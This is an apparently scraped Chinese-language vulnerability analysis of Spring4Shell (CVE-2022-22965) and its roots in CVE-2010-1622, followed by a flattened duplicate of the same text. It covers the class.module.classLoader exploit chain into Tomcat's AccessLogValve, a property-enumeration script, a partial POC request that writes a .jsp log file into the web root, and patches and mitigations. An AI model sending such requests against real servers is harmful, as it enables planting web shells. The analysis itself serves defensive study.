spring rce 从cve-2010-1622到CVE-2022-22965 篇二
字数 2174 2025-08-29 08:32:30

Spring RCE漏洞分析:从CVE-2010-1622到CVE-2022-22965

1. 漏洞概述

CVE-2022-22965是Spring框架中的一个远程代码执行漏洞,影响版本包括:

  • Spring Framework 5.3.X < 5.3.18
  • Spring Framework 2.X < 5.2.20

该漏洞需要满足以下条件才能利用:

  1. 使用Tomcat部署Spring项目
  2. Tomcat版本 < 9.0.62
  3. 使用了POJO参数绑定功能

2. 漏洞原理分析

2.1 核心利用机制

该漏洞利用了Spring框架的参数绑定机制和Tomcat的日志配置功能:

  1. 参数绑定机制:Spring MVC允许将HTTP请求参数绑定到Java对象的属性上
  2. Tomcat日志配置:Tomcat可以在server.xml中配置日志路径和其他参数,相关类为org.apache.catalina.valves.AccessLogValve

2.2 利用链分析

攻击者通过构造特殊的参数名,可以修改Tomcat的AccessLogValve属性,从而控制日志文件的:

  • 存储位置 (directory)
  • 文件名前缀 (prefix)
  • 文件名后缀 (suffix)

完整的利用链如下:

User.getClass()
    → java.lang.Class.getModule()
    → java.lang.Module.getClassLoader()
    → org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
    → org.apache.catalina.webresources.StandardRoot.getContext()
    → org.apache.catalina.core.StandardContext.getParent()
    → org.apache.catalina.core.StandardHost.getPipeline()
    → org.apache.catalina.core.StandardPipeline.getFirst()
    → org.apache.catalina.valves.AccessLogValve.setPattern()

2.3 关键参数说明

攻击者可以控制以下AccessLogValve属性:

  1. suffix参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
    • 作用:设置日志文件的后缀,可设置为.jsp
  2. directory参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
    • 作用:设置日志文件的输出目录,通常设置为webapps/ROOT(Tomcat Web应用根目录)
  3. prefix参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
    • 作用:设置日志文件的前缀
  4. fileDateFormat参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    • 作用:设置日志文件名中的日期格式,可设置为空

3. 利用条件分析

3.1 为什么需要JDK 9+?

Spring在对CVE-2010-1622漏洞修复时将classLoader添加进了黑名单。但从JDK 9开始引入了模块(Module)概念,可以通过module来调用JDK模块下的方法,而module不在黑名单中,因此能够绕过黑名单限制(使用class.module.classLoader.xxxx的方式)。

3.2 为什么需要Tomcat部署?

使用SpringBoot可执行jar包方式运行时,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,该类没有getResources()方法,因此无法进一步利用。

4. 漏洞检测与利用

4.1 属性遍历脚本

可以使用以下Java代码遍历可用的属性:

@RequestMapping("/testclass")
public void classTest(){
    HashSet<Object> set = new HashSet<Object>();
    String poc = "class.moduls.classLoader";
    User action = new User();
    processClass(action.getClass().getClassLoader(), set, poc);
}

public void processClass(Object instance, java.util.HashSet set, String poc){
    try {
        Class<?> c = instance.getClass();
        set.add(instance);
        Method[] allMethods = c.getMethods();
        
        // 遍历setter方法
        for (Method m : allMethods) {
            if (!m.getName().startsWith("set")) continue;
            if (!m.toGenericString().startsWith("public")) continue;
            Class<?>[] pType = m.getParameterTypes();
            if (pType.length != 1) continue;
            if (pType[0].getName().equals("java.lang.String") || 
                pType[0].getName().equals("boolean") || 
                pType[0].getName().equals("int")){
                String fieldName = m.getName().substring(3,4).toLowerCase() + 
                                 m.getName().substring(4);
                System.out.println(poc + "." + fieldName);
            }
        }
        
        // 遍历getter方法
        for (Method m : allMethods) {
            if (!m.getName().startsWith("get")) continue;
            if (!m.toGenericString().startsWith("public")) continue;
            Class<?>[] pType = m.getParameterTypes();
            if (pType.length != 0) continue;
            if (m.getReturnType() == Void.TYPE) continue;
            m.setAccessible(true);
            Object o = m.invoke(instance);
            if (o != null && !set.contains(o)) {
                processClass(o, set, poc + "." + 
                           m.getName().substring(3,4).toLowerCase() + 
                           m.getName().substring(4));
            }
        }
    } catch (Exception x) {
        x.printStackTrace();
    }
}

4.2 典型POC示例

POST /vulnerable-endpoint HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapp/ROOT

5. 漏洞修复方案

5.1 Spring官方修复

Spring 5.3.18/5.2.20版本中修改了CachedIntrospectionResults构造函数中对Java Bean的PropertyDescriptor的过滤条件:

  • 当Java Bean类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符
  • 这阻断了通过java.lang.Class.getModule()的利用链

5.2 Tomcat官方修复

Tomcat 9.0.62版本中修改了getResource()方法的返回值,直接返回null,阻断了通过org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的利用链。

6. 相关技术背景

6.1 与CVE-2010-1622的关系

CVE-2010-1622是早期Spring框架中的一个类似漏洞,Spring通过将classLoader加入黑名单进行了修复。CVE-2022-22965利用了JDK 9+引入的模块系统绕过了这一限制。

6.2 与Struts2 S2-020的关系

该漏洞的利用方式参考了Struts2 S2-020漏洞的利用方法,都是通过精心构造的参数名来控制系统配置。

7. 防御建议

  1. 及时升级Spring框架到安全版本(5.3.18+或5.2.20+)
  2. 升级Tomcat到9.0.62或更高版本
  3. 对于无法立即升级的系统,可以考虑以下临时缓解措施:
    • 限制可疑的HTTP参数名
    • 禁用危险的参数绑定功能
    • 实施严格的输入验证
Spring RCE漏洞分析:从CVE-2010-1622到CVE-2022-22965 1. 漏洞概述 CVE-2022-22965是Spring框架中的一个远程代码执行漏洞,影响版本包括: Spring Framework 5.3.X < 5.3.18 Spring Framework 2.X < 5.2.20 该漏洞需要满足以下条件才能利用: 使用Tomcat部署Spring项目 Tomcat版本 < 9.0.62 使用了POJO参数绑定功能 2. 漏洞原理分析 2.1 核心利用机制 该漏洞利用了Spring框架的参数绑定机制和Tomcat的日志配置功能: 参数绑定机制 :Spring MVC允许将HTTP请求参数绑定到Java对象的属性上 Tomcat日志配置 :Tomcat可以在server.xml中配置日志路径和其他参数,相关类为 org.apache.catalina.valves.AccessLogValve 2.2 利用链分析 攻击者通过构造特殊的参数名,可以修改Tomcat的AccessLogValve属性,从而控制日志文件的: 存储位置 ( directory ) 文件名前缀 ( prefix ) 文件名后缀 ( suffix ) 完整的利用链如下: 2.3 关键参数说明 攻击者可以控制以下AccessLogValve属性: suffix参数 参数名: class.module.classLoader.resources.context.parent.pipeline.first.suffix 作用:设置日志文件的后缀,可设置为 .jsp directory参数 参数名: class.module.classLoader.resources.context.parent.pipeline.first.directory 作用:设置日志文件的输出目录,通常设置为 webapps/ROOT (Tomcat Web应用根目录) prefix参数 参数名: class.module.classLoader.resources.context.parent.pipeline.first.prefix 作用:设置日志文件的前缀 fileDateFormat参数 参数名: class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat 作用:设置日志文件名中的日期格式,可设置为空 3. 利用条件分析 3.1 为什么需要JDK 9+? Spring在对CVE-2010-1622漏洞修复时将 classLoader 添加进了黑名单。但从JDK 9开始引入了模块(Module)概念,可以通过 module 来调用JDK模块下的方法,而 module 不在黑名单中,因此能够绕过黑名单限制(使用 class.module.classLoader.xxxx 的方式)。 3.2 为什么需要Tomcat部署? 使用SpringBoot可执行jar包方式运行时, classLoader 嵌套参数被解析为 org.springframework.boot.loader.LaunchedURLClassLoader ,该类没有 getResources() 方法,因此无法进一步利用。 4. 漏洞检测与利用 4.1 属性遍历脚本 可以使用以下Java代码遍历可用的属性: 4.2 典型POC示例 5. 漏洞修复方案 5.1 Spring官方修复 Spring 5.3.18/5.2.20版本中修改了 CachedIntrospectionResults 构造函数中对Java Bean的 PropertyDescriptor 的过滤条件: 当Java Bean类型为 java.lang.Class 时,仅允许获取 name 以及 Name 后缀的属性描述符 这阻断了通过 java.lang.Class.getModule() 的利用链 5.2 Tomcat官方修复 Tomcat 9.0.62版本中修改了 getResource() 方法的返回值,直接返回 null ,阻断了通过 org.apache.catalina.loader.ParallelWebappClassLoader.getResources() 的利用链。 6. 相关技术背景 6.1 与CVE-2010-1622的关系 CVE-2010-1622是早期Spring框架中的一个类似漏洞,Spring通过将 classLoader 加入黑名单进行了修复。CVE-2022-22965利用了JDK 9+引入的模块系统绕过了这一限制。 6.2 与Struts2 S2-020的关系 该漏洞的利用方式参考了Struts2 S2-020漏洞的利用方法,都是通过精心构造的参数名来控制系统配置。 7. 防御建议 及时升级Spring框架到安全版本(5.3.18+或5.2.20+) 升级Tomcat到9.0.62或更高版本 对于无法立即升级的系统,可以考虑以下临时缓解措施: 限制可疑的HTTP参数名 禁用危险的参数绑定功能 实施严格的输入验证